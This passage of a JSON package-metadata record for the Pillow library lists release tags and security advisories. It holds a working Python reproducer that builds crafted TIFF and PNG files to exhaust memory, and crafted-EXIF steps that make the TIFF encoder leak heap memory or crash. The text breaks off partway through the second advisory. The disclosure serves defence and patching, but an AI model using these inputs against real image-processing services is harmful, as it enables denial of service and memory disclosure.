python-pillow%2FPillow/tags/2.2.2/manifests","release_url":null},{"name":"2.2.1","sha":"3c2496e117f4d045a99d7e376133e67b47217ce2","kind":"commit","published_at":"2013-10-02T17:07:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1/manifests","release_url":null},{"name":"2.2.0","sha":"9b0bc48d26b021ba40bbf1aaf6291ef664f9d083","kind":"commit","published_at":"2013-10-02T11:18:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0/manifests","release_url":null},{"name":"2.1.0","sha":"75af7e00db304ed34557c856c609d10ecf44d49c","kind":"commit","published_at":"2013-07-02T12:52:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0/manifests","release_url":null},{"name":"2.0.0","sha":"baea361b9a29e9a1dfa5a9b8e11bc9624a9cee46","kind":"commit","published_at":"2013-03-15T12:59:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0/manifests","release_url":null},{"name":"1.7.8","sha":"4a10a363e4a220149f7efbf109ac5bf0d1d85b35","kind":"commit","published_at":"2012-11-01T21:09:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.8","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8/manifests","release_url":null},{"name":"1.7.7","sha":"aaac591549807d183ec8855e5f86bd4584411a87","kind":"commit","published_at":"2012-04-05T01:15:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.7","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7/manifests","release_url":null},{"name":"1.7.6","sha":"3af55ff06f74711112c0c5b05a9ef1cd3eb58b7d","kind":"tag","published_at":"2012-01-21T00:58:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.6","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6/manifests","release_url":null},{"name":"1.2","sha":"fb47c498ef1bed2fd5e8bf5c84427bd7ab410da5","kind":"tag","published_at":"2010-08-02T15:44:30.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2/manifests","release_url":null},{"name":"1.0","sha":"b1030062ea8106abb34c97b83ab16149d33fb98f","kind":"tag","published_at":"2010-07-31T03:26:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-12-04T11:22:11.278955Z","dependent_packages_count":4378,"downloads":723791167,"downloads_period":"last-month","dependent_repos_count":88899,"rankings":{"downloads":0.01265574359830303,"dependent_repos_count":0.013205993319968377,"dependent_packages_count":0.005685913790541941,"stargazers_count":0.43964952761061393,"forks_count":0.576294875157509,"docker_downloads_count":0.08198720852813703,"average":0.18824654366751223},"purl":"pkg:pypi/pillow","advisories":[{"uuid":"GSA_kwCzR0hTQS13cWd3LTl4ZmgtcWYyZ84ACCD-","url":"https://github.com/advisories/GHSA-wqgw-9xfh-qf2g","title":"Pillow: Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data","description":"```\n============================================================================\nANT-2026-D7STJUWL  [medium]  CWE-770  dos\nMemory DoS in TIFF and EXIF IFD parsing via overlapping tag data\nLocation: src/PIL/TiffImagePlugin.py:927  in ImageFileDirectory_v2.load()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA small, crafted image file can make Pillow use thousands of times its own size in memory while the file is only being opened, which lets anyone who can submit an image crash or stall the process handling it. A 144 KB TIFF makes `Image.open()` return normally while holding 1.6 GiB of memory. The largest such standard TIFF, about 786 KB, asks for roughly 48 GiB, which in practice gets the worker killed by the operating system. The file declares a 1×1 image, so the decompression-bomb check never triggers and no warning is raised. There is no memory corruption; the impact is denial of service.\n\nThe bug is in `ImageFileDirectory_v2.load()` in `src/PIL/TiffImagePlugin.py` (around line 927). For every directory entry whose value is stored elsewhere in the file, it reads that value into a new `bytes` object with `ImageFile._safe_read(fp, count * unit_size)` and keeps it in `_tagdata`. `_safe_read()` only checks that the bytes exist. Nothing limits the total read across entries, and nothing stops every entry from pointing at the same bytes. An attacker can therefore give each of N distinct private tags an offset and count that covers the whole file, at a cost of 12 bytes per entry. Memory grows as N × file size, which is quadratic in the file size, and BigTIFF removes the 65,535-entry ceiling.\n\nThe same loop parses EXIF data, so the problem reaches beyond TIFF:\n\n* A 66 KB JPEG APP1 segment costs about 340 MiB inside `Image.open()` itself, via `_read_dpi_from_exif()`.\n* A 96 KB PNG `eXIf` chunk costs 754 MiB on `getexif()` or `ImageOps.exif_transpose()`.\n* WebP EXIF and MPO reach the same code.\n\nThe attached reproducer builds a 72 KB TIFF and a 72 KB PNG. Using only `Image.open()` and `getexif()`, each causes 412 MiB of tag data to be retained, about 6,000 times the file size. The loop dates to the original PIL 1.1.7 import, so every Pillow release since 1.0 is affected.\n\n## Details\n\n`TiffImagePlugin.ImageFileDirectory_v2.load()` reads the out-of-line value of every IFD entry into its own `bytes` object and keeps it in `self._tagdata`. Nothing bounds the sum of those reads, and nothing prevents every entry from pointing at the same region of the file. An IFD with N entries whose `(offset, count)` each cover the whole file therefore costs N × filesize bytes of memory, while the IFD itself costs only 12 bytes per entry. This one loop is the IFD parser for TIFF frames and for `Image.Exif` alike, so it is reachable from `Image.open()` on a TIFF or JPEG and from `getexif()` / `ImageOps.exif_transpose()` on PNG, JPEG, WebP and MPO.\n\nObserved on the stock build at this commit: a valid 144,110-byte 1×1 greyscale TIFF with 12,000 such entries makes `Image.open()` return normally (no exception, no warning, 1 declared pixel so `MAX_IMAGE_PIXELS` is irrelevant) after 1.5 s, with the process RSS grown from 15 MiB to 1,671 MiB and `im.tag_v2` holding 1,649 MiB of tag data for as long as the image object lives. The same IFD placed in the `eXIf` chunk of a 96 KB PNG makes `im.getexif()` retain 754 MiB. A 65,870-byte JPEG whose APP1 `Exif` segment is such an IFD (5,400 entries × 65,519 bytes) allocates ~340 MiB inside `Image.open()` itself, with no further call.\n\n```python\n# src/PIL/TiffImagePlugin.py:902-946  (ImageFileDirectory_v2.load)\nfor i in range(tag_count):\n    tag, typ, count, data = ( … self._unpack(\"HHL4s\", self._ensure_read(fp, 12)))\n    …\n    size = count * unit_size                         # 918: attacker-chosen\n    if size \u003e (8 if self._bigtiff else 4):\n        here = fp.tell()\n        (offset,) = self._unpack(\"Q\" if self._bigtiff else \"L\", data)\n        …\n        fp.seek(offset)                              # 926: attacker-chosen\n        data = ImageFile._safe_read(fp, size)        # 927: new bytes object of `size`\n        fp.seek(here)\n    …\n    self._tagdata[tag] = data                        # 945: kept\n    self.tagtype[tag] = typ\n```\n\n`ImageFile._safe_read()` only guarantees that `size` bytes are actually present in the stream (it reads in `SAFEBLOCK` chunks and raises on truncation); it is a guard against allocating for data that does not exist, not against reading the same existing data many times. For a well-formed file each entry points at its own disjoint value, so the total read is at most the file size. For the crafted file every one of the N entries has a distinct tag number (so none overwrites another in `_tagdata`), type BYTE, `count = filesize - 1` and `offset = 1`; each iteration allocates and fills a fresh `filesize - 1`-byte object and stores it. `load()` does not care whether the tag number is known or whether the type makes sense for it; any 16-bit tag number and any type in `_load_dispatch` is accepted. Memory is `N × filesize`, and since `filesize ≈ 12 N`, it is quadratic in the file size: 12,000 entries / 144 KB → 1.6 GiB (measured); the classic-TIFF maximum of 65,535 entries / 786 KB → ~48 GiB; BigTIFF (`tag_count` is a `Q`) has no 16-bit entry limit at all.\n\nReachability:\n\n- TIFF: `TiffImageFile._open()` (`TiffImagePlugin.py:1187`) → `self._seek(0)` (`:1210`) → `self.tag_v2.load(self.fp)` (`:1258`, and again at `:1271`). This runs inside `Image.open()`, before `load()` and before any size check (`_decompression_bomb_check` only looks at `width × height` and is satisfied by the 1×1 image), and the resulting directory stays referenced as `im.tag_v2`. `_seek()` parses the IFD twice, but `reset()` drops the first copy, so the peak does not double; it is paid again for every frame on `seek()`/`n_frames`.\n- EXIF in other formats: `Image.Exif.load()` / `load_from_fp()` / `_get_ifd_dict()` (`Image.py:4146-4196`, `:4119-4133`) wrap the same `ImageFileDirectory_v2.load()` around the EXIF blob. `PngImagePlugin.chunk_eXIf` (`PngImagePlugin.py:697`) stores the whole chunk as `info[\"exif\"]`, `JpegImagePlugin` concatenates APP1 `Exif` segments into `info[\"exif\"]` (`JpegImagePlugin.py:114-117`), and WebP exposes its EXIF chunk the same way; `im.getexif()`, `ImageOps.exif_transpose()` and `_getexif()` then parse it and keep the values in `im._exif`. For JPEG no explicit call is needed: `JpegImageFile._open()` ends with `self._read_dpi_from_exif()` (`JpegImagePlugin.py:413`), which calls `getexif()` whenever no JFIF DPI is present, so the APP1 IFD is parsed during `Image.open()`. Note that an EXIF blob is parsed into several IFDs (main, EXIF, GPS, Interop via `_get_ifd_dict`), each through its own `load()` call.\n\nThe only failure path in `load()` is `except OSError` → warning; running out of memory is not an `OSError`, so on Linux the realistic outcome for a larger N is the kernel OOM killer terminating the process rather than a Python exception.\n\nThe loop predates Pillow: it came in with the PIL 1.1.7 import in `9a640e315715` (\"Forking PIL\", 2010-07-30) and was carried over unchanged into `ImageFileDirectory_v2`, so every release since 1.0 is affected. The per-tag `_safe_read` bounding added in the CVE-2019-16865 era does not address the sum.\n\n## Impact\n\nAny service that calls `Image.open()` on an uploaded TIFF or JPEG — or `getexif()` / `ImageOps.exif_transpose()` on an uploaded PNG, JPEG or WebP, which thumbnailers routinely do to honour orientation — can be made to allocate and retain memory roughly `entries × filesize`, i.e. thousands of times the upload size, from a file of a few hundred KB that declares a 1×1 image and passes the decompression-bomb check. A ~800 KB TIFF requests ~48 GiB; in practice the worker (or its container) is OOM-killed within seconds, taking down all requests it was serving, and repeated uploads keep it down. No pixel decoding, `load()`, or further API call is required for the TIFF and JPEG cases, `MAX_IMAGE_PIXELS` does not apply, and no `DecompressionBomb*` warning gives the application a chance to refuse the file. There is no memory corruption; the effect is denial of service of the process handling the input.\n\nThis is the same class as CVE-2021-27921/27922/27923 (BLP/ICNS/ICO \"arbitrarily large memory allocations\" from unchecked reported sizes, fixed in 8.1.2) and CVE-2021-28675 (PSD layer count not checked against the data size, DoS on `Image.open()` prior to `load()`), here in the TIFF/EXIF directory parser shared by several formats.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the stock Pillow in `/src`; nothing is compiled. It needs about 1 GB of free RAM (it caps its own address space at 4 GiB so that a larger run ends in `MemoryError` rather than the OOM killer).\n\n**Input.** `aliased_ifd()` builds, in memory, a little-endian classic TIFF: an 8-byte header, one IFD, nothing else. Every crafted entry is a private tag (1000 upwards) of type BYTE with `offset = 1` and `count = file size - 1`, i.e. each claims the whole file body as its value. Each costs 12 bytes in the file but a full file-sized read in `ImageFileDirectory_v2.load()`.\n\n**TIFF path.** The first file adds 8 ordinary tags (ImageWidth = ImageLength = 1, BitsPerSample = 8, no compression, BlackIsZero, one 1-byte strip pointing at a header byte) so that Pillow accepts it as a 1×1 `L` image, plus 6,000 aliased tags (72,110 bytes). Because the image is 1×1, `MAX_IMAGE_PIXELS` never comes into play. The script calls `Image.open()` on it and nothing else: no `load()`, no pixel access.\n\n**EXIF path.** The same 6,000-entry IFD (without the image tags) is passed as `exif=` when saving a 1×1 PNG, so it lands in an `eXIf` chunk; the script opens that PNG and calls `im.getexif()`, which is what `ImageOps.exif_transpose()` calls.\n\n**Check.** For each path the script reads `VmRSS` from `/proc/self/status` before and after, and adds up `len()` over the resulting directory's `_tagdata`. In a well-formed IFD each entry points at its own bytes, so the tag data can never be larger than the file. The script prints `BUG` if both the TIFF's `im.tag_v2` and the PNG's EXIF directory hold more than 2000× the size of their file, otherwise `OK`. On this commit each holds 412 MiB (~6000× the file) and RSS grows by about as much for each.\n\nThe memory cost is entries × file size, and the file size itself grows at 12 bytes per entry, so the cost is quadratic: doubling to 12,000 entries (144 KB) gives the 1.6 GiB quoted above, and the classic-TIFF maximum of 65,535 entries (~786 KB file) comes to ~48 GiB. A JPEG APP1 segment or a WebP EXIF chunk carrying the same IFD behaves like the PNG case (for JPEG, already during `Image.open()`).\n\n## Suggested fix\n\nThe attached patch bounds the out-of-line tag data a single `ImageFileDirectory_v2.load()` call may pull in by the length of the stream it reads from. The values of a well-formed IFD do not overlap, so their total can never exceed the file; only aliased entries can push past it. `load()` now measures the stream once on entry (`fp.seek(0, io.SEEK_END)`, then back to `self._offset`; `load()` already requires a seekable `fp`, since both the TIFF plugin and `Exif` do), keeps a running `total_size` of out-of-line values, and, before the `fp.seek(offset)` / `_safe_read()` at `TiffImagePlugin.py:926-927`, warns `\"Tag data larger than file. Skipping tag …\"` and `continue`s for any entry that would take the total past the file size, in the same warn-and-skip idiom as the existing \"Tag offset too large\" check. No fixed constant is introduced and no valid file changes behaviour, including TIFFs with very large Photoshop/ImageSourceData (tag 37724) payloads, which routinely exceed 64 MB. Because `Image.Exif`, the PNG/JPEG/WebP EXIF paths and MPO all go through this one method, they are covered too. The patch adds `test_tag_data_larger_than_file` to `Tests/test_file_tiff_metadata.py`, next to `test_tag_offset`. With it applied, both paths in the reproducer drop to 1× the file size. One visible side effect: a single oversize entry now skips that tag with this warning instead of aborting the rest of the IFD via the `OSError` path.\n\nA fixed module-level cap in the style of `PngImagePlugin.MAX_TEXT_MEMORY` (e.g. a 64 MiB `TiffImagePlugin.MAX_IFD_DATA`) would be the weaker alternative on its own: a 140 KB file could still retain ~63 MiB per IFD — and a JPEG's EXIF is parsed into several IFDs (main, EXIF, GPS, Interop), so a 66 KB APP1 segment could still request roughly 1000× its size — and legitimate TIFFs with more than 64 MiB of tag data would lose those tags with a warning. It could still be added on top of the stream-length check as a user-adjustable knob.\n\nAn alternative that removes the amplification entirely is to store `(offset, size)` in `_tagdata` and read lazily in `__getitem__`, which is what the class docstring already describes (\"we don't decode tags unless they're asked for\"); that is a larger change because `_tagdata` is shared with `ImageFileDirectory_v1` (`from_v2`/`to_v2`) and exposed as the legacy `tagdata` property, and lazy reads would need the file object to still be open when a tag is first accessed.\n\n## The patch\n\nSkip IFD entries once the total out-of-line tag data read by ImageFileDirectory_v2.load() would exceed the size of the stream\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_tiff_metadata.py b/Tests/test_file_tiff_metadata.py\nindex 7b35a0196..ccf923128 100644\n--- a/Tests/test_file_tiff_metadata.py\n+++ b/Tests/test_file_tiff_metadata.py\n@@ -500,6 +500,21 @@ def test_tag_offset() -\u003e None:\n         ifd.load(f)\n \n \n+def test_tag_data_larger_than_file() -\u003e None:\n+    ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+\n+    # Two BYTE tags that both claim the whole 30 byte IFD as their value\n+    tag_count = struct.pack(\"\u003cH\", 2)\n+    tags = struct.pack(\"\u003cHHLL\", 0, 1, 30, 0) + struct.pack(\"\u003cHHLL\", 1, 1, 30, 0)\n+    next_offset = struct.pack(\"\u003cL\", 0)\n+\n+    f = io.BytesIO(tag_count + tags + next_offset)\n+    with pytest.warns(UserWarning, match=\"Tag data larger than file\"):\n+        ifd.load(f)\n+    assert len(ifd[0]) == 30\n+    assert 1 not in ifd\n+\n+\n def test_tag_group_data() -\u003e None:\n     base_ifd = TiffImagePlugin.ImageFileDirectory_v2()\n     interop_ifd = TiffImagePlugin.ImageFileDirectory_v2(group=40965)\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..c9d506933 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -892,6 +892,9 @@ class ImageFileDirectory_v2(_IFDv2Base):\n     def load(self, fp: IO[bytes]) -\u003e None:\n         self.reset()\n         self._offset = fp.tell()\n+        fp.seek(0, io.SEEK_END)\n+        file_size = fp.tell()\n+        fp.seek(self._offset)\n \n         try:\n             tag_count = (\n@@ -899,6 +902,7 @@ class ImageFileDirectory_v2(_IFDv2Base):\n                 if self._bigtiff\n                 else self._unpack(\"H\", self._ensure_read(fp, 2))\n             )[0]\n+            total_size = 0\n             for i in range(tag_count):\n                 tag, typ, count, data = (\n                     self._unpack(\"HHQ8s\", self._ensure_read(fp, 20))\n@@ -923,6 +927,16 @@ class ImageFileDirectory_v2(_IFDv2Base):\n                     if offset \u003e= 2**63:\n                         warnings.warn(\"Tag offset too large\")\n                         continue\n+                    # The values of a well-formed IFD do not overlap, so in\n+                    # total they cannot be larger than the file they are read\n+                    # from. Do not let entries that alias the same bytes load\n+                    # many copies of it.\n+                    total_size += size\n+                    if total_size \u003e file_size:\n+                        warnings.warn(\n+                            f\"Tag data larger than file. Skipping tag {tag}\"\n+                        )\n+                        continue\n                     fp.seek(offset)\n                     data = ImageFile._safe_read(fp, size)\n                     fp.seek(here)\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,254 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# ImageFileDirectory_v2.load(): N IFD entries that all alias the file body make\n# Image.open() (TIFF) and getexif() (PNG eXIf etc.) retain ~N copies of the file.\n# Pure Python, stock Pillow in /src. Needs ~1 GB RAM, runs in ~1 s.\nimport io, struct, resource\nfrom PIL import Image\nresource.setrlimit(resource.RLIMIT_AS, (4 \u003c\u003c 30, 4 \u003c\u003c 30))  # MemoryError, not OOM-killer\n\ndef aliased_ifd(n_alias, real=()):\n    \"\"\"Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file.\"\"\"\n    n = len(real) + n_alias\n    size = 8 + 2 + 12 * n + 4\n    ents = {t: struct.pack(\"\u003cHHLL\", t, typ, 1, v) for t, (typ, v) in dict(real).items()}\n    for t in range(1000, 1000 + n_alias):\n        ents[t] = struct.pack(\"\u003cHHLL\", t, 1, size - 1, 1)      # BYTE[size-1] @ offset 1\n    blob = b\"II*\\0\" + struct.pack(\"\u003cLH\", 8, n) + b\"\".join(ents[t] for t in sorted(ents)) + b\"\\0\" * 4\n    assert len(blob) == size\n    return blob\n\ndef rss():\n    return next(int(l.split()[1]) \u003c\u003c 10 for l in open(\"/proc/self/status\") if l.startswith(\"VmRSS\"))\n\n# 1) TIFF: 1x1 L image (pixel = a header byte) + 6000 aliased private tags -\u003e Image.open() only\nreal = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),\n        273: (4, 8), 278: (3, 1), 279: (4, 1)}\ntif = aliased_ifd(6000, real)\nr0 = rss(); im = Image.open(io.BytesIO(tif)); r1 = rss()\nheld_t = sum(len(v) for v in im.tag_v2._tagdata.values())\nprint(f\"TIFF {len(tif)} B, {im.size} {im.mode}: Image.open() keeps {held_t \u003e\u003e 20} MiB of tag data \"\n      f\"({held_t // len(tif)}x file); RSS {r0 \u003e\u003e 20} -\u003e {r1 \u003e\u003e 20} MiB\")\n\n# 2) Same IFD as EXIF in a 1x1 PNG -\u003e im.getexif() (what ImageOps.exif_transpose calls)\nexif = aliased_ifd(6000)\nbuf = io.BytesIO(); Image.new(\"L\", (1, 1)).save(buf, \"PNG\", exif=exif); png = buf.getvalue()\nr0 = rss(); im2 = Image.open(io.BytesIO(png)); e = im2.getexif(); r1 = rss()\nheld_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0\nprint(f\"PNG  {len(png)} B: getexif() keeps {held_e \u003e\u003e 20} MiB ({held_e // len(png)}x file); \"\n      f\"RSS {r0 \u003e\u003e 20} -\u003e {r1 \u003e\u003e 20} MiB\")\n\n# A well-formed IFD's values cannot exceed the stream they come from (1x).\nprint(\"BUG\" if held_t \u003e 2000 * len(tif) and held_e \u003e 2000 * len(png) else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-11-12T23:35:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-wqgw-9xfh-qf2g","https://github.com/python-pillow/Pillow/commit/4908edaf7f416616784c7c03d8c1a60153710ffb","https://github.com/python-pillow/Pillow/commit/4b63dffd8a6d980fa0e21b40832fa6cbf033eacf","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-wqgw-9xfh-qf2g"],"source_kind":"github","identifiers":["GHSA-wqgw-9xfh-qf2g","CVE-2026-128066"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-13T00:01:27.928Z","updated_at":"2026-12-03T11:00:40.904Z","epss_percentage":0.00488,"epss_percentile":0.43636,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cWd3LTl4ZmgtcWYyZ84ACCD-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cWd3LTl4ZmgtcWYyZ84ACCD-","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cWd3LTl4ZmgtcWYyZ84ACCD-/related_packages","related_advisories":[{"uuid":"CVE-2026-128066","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/128xxx/CVE-2026-128066.json"},{"uuid":"UBUNTU-CVE-2026-128066","source_kind":"osv","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-128066"}]},{"uuid":"GSA_kwCzR0hTQS14Y3ZnLXc1NnEtcjg5bc4ACCD9","url":"https://github.com/advisories/GHSA-xcvg-w56q-r89m","title":"Pillow: Heap buffer overflow saving TIFF with libtiff when tags override image size","description":"```\n============================================================================\nANT-2026-CS7N494P  [high]  CWE-787  memory-safety\nHeap buffer overflow saving TIFF with libtiff when tags override image size\nLocation: src/libImaging/TiffDecode.c:1035  in ImagingLibTiffEncode()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen Pillow saves an image as a compressed TIFF, size information taken from the image's metadata can make the encoder read past the end of a heap buffer. Someone who uploads an image can use this to get the server process's memory, including pointers, copied into the saved file, or to crash the process. When the metadata also enables TIFF \"Predictor=2\" compression, the encoder writes past the buffer instead, corrupting the heap and aborting the process. This affects applications that write TIFF through libtiff (any `compression=` other than raw) and either carry the source metadata across with `exif=im.getexif()` / `tiffinfo=`, or simply re-save a crafted palette TIFF with `Image.open(f).save(out, \"TIFF\")`, which inherits its compression and predictor from the upload.\n\nIn `TiffImagePlugin._save`'s libtiff branch, only `BitsPerSample` is pinned to the real image when the tag list for the encoder is built (`src/PIL/TiffImagePlugin.py:1955`). `ImageWidth`, `ImageLength` and `PlanarConfiguration` are set from `im.size` but are then overwritten by the `exif=`/`tiffinfo=` merge loop at `:1768-1772`. `SamplesPerPixel` is never set for single-band modes, so a value from the caller's tags or from the source TIFF's own IFD reaches `TIFFSetField`. `ImagingLibTiffEncode` then passes a row buffer sized from the actual image (`src/encode.c:291`) to `TIFFWriteScanline` (`src/libImaging/TiffDecode.c:1035`) with no check against `TIFFScanlineSize()`, and libtiff consumes a full scanline of the tag-described width from it.\n\nThe attached reproducer demonstrates the read case. A 64x4 greyscale JPEG whose EXIF says `SamplesPerPixel=3, Photometric=RGB` is converted into a valid RGB TIFF in which 128 bytes of each row are live heap, including pointers that change from run to run. The same JPEG with EXIF `ImageWidth=2**27` kills the process with SIGSEGV. For the write case, the values written are byte-wise differences of existing heap contents rather than attacker-chosen data, and nothing beyond the observed glibc abort is shown. The `tiffinfo=` route dates back to Pillow 2.3.0 (`dbf47837ce99`), and the `exif=` route to 8.4.0 (`c0f619384cbc`).\n\n## Details\n\nWhen an image is saved as TIFF through the libtiff encoder (any `compression=` other than raw, or `TiffImagePlugin.WRITE_LIBTIFF`), libtiff sizes its scanline from the `ImageWidth` / `SamplesPerPixel` / `BitsPerSample` / `PlanarConfiguration` tags it was handed, Pillow sizes the encoder row buffer from the real image, and nothing compares the two. In `TiffImagePlugin._save`'s libtiff branch only `BitsPerSample` is pinned in the attribute dict given to the encoder (`atts`, `src/PIL/TiffImagePlugin.py:1955-1982`); the other geometry tags can come from caller- or attacker-supplied data:\n\n- `ImageWidth` (256), `ImageLength` (257) and `PlanarConfiguration` (284) are set from `im.size` *before* the `tiffinfo=` / `exif=` merge loop at `:1768-1772`, so they are overwritten by it — by the EXIF of an uploaded JPEG, or by stale geometry in `im.getexif()` / `im.tag_v2` of a TIFF that Pillow auto-transposed on load (Orientation tag) or that the application `thumbnail()`ed.\n- `SamplesPerPixel` (277) is only put in the IFD for multi-band modes (`:1847-1850`), so for single-band images (`L`, `P`, `I;16`, `1`, …) a value from `exif=` / `tiffinfo=`, or from the *source TIFF's own IFD* via `supplied_tags` (`im.tag_v2`, `:1782`), is forwarded to libtiff. A palette TIFF with `SamplesPerPixel=2, BitsPerSample=(8,8), ExtraSamples=(0,)` opens as mode `P` (rawmode `PX`, extra sample dropped), and a bare `im.save(out, \"TIFF\")` — no save arguments; `compression` and `Predictor` are inherited from the source — already makes libtiff process `2*width` bytes per row from a `width`-byte buffer.\n\n`ImagingLibTiffEncode` then hands the image-sized row buffer to `TIFFWriteScanline`, and libtiff reads one scanline of the *tag-described* geometry out of a buffer holding one row of the *actual* image. With `Predictor = 2` (also forwarded from `tiffinfo=` / `im.tag_v2`) libtiff's horizontal differencing first rewrites the whole scanline **in place**, so the over-read becomes an out-of-bounds heap **write** on every row.\n\nThe tags do not have to be supplied deliberately by the application: `im.getexif()` of an uploaded JPEG returns whatever IFD0 tags the file carries, and the common metadata-preserving conversion\n\n```python\nim = Image.open(uploaded_jpeg)                                   # 64x4, mode \"L\"\nim.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n```\n\nbehaves as follows on the stock build at this commit:\n\n- EXIF IFD0 `{277: 3, 262: 2}` (SamplesPerPixel=3, Photometric=RGB): the save succeeds and `out` is a 64x4 **RGB** TIFF. Re-opening it, the first 64 bytes of every 192-byte row are the image (0x11 fill); the remaining 128 bytes are heap that followed the 64-byte row buffer — e.g. `... 807a97e6527f0000 ... f03632e5527f0000 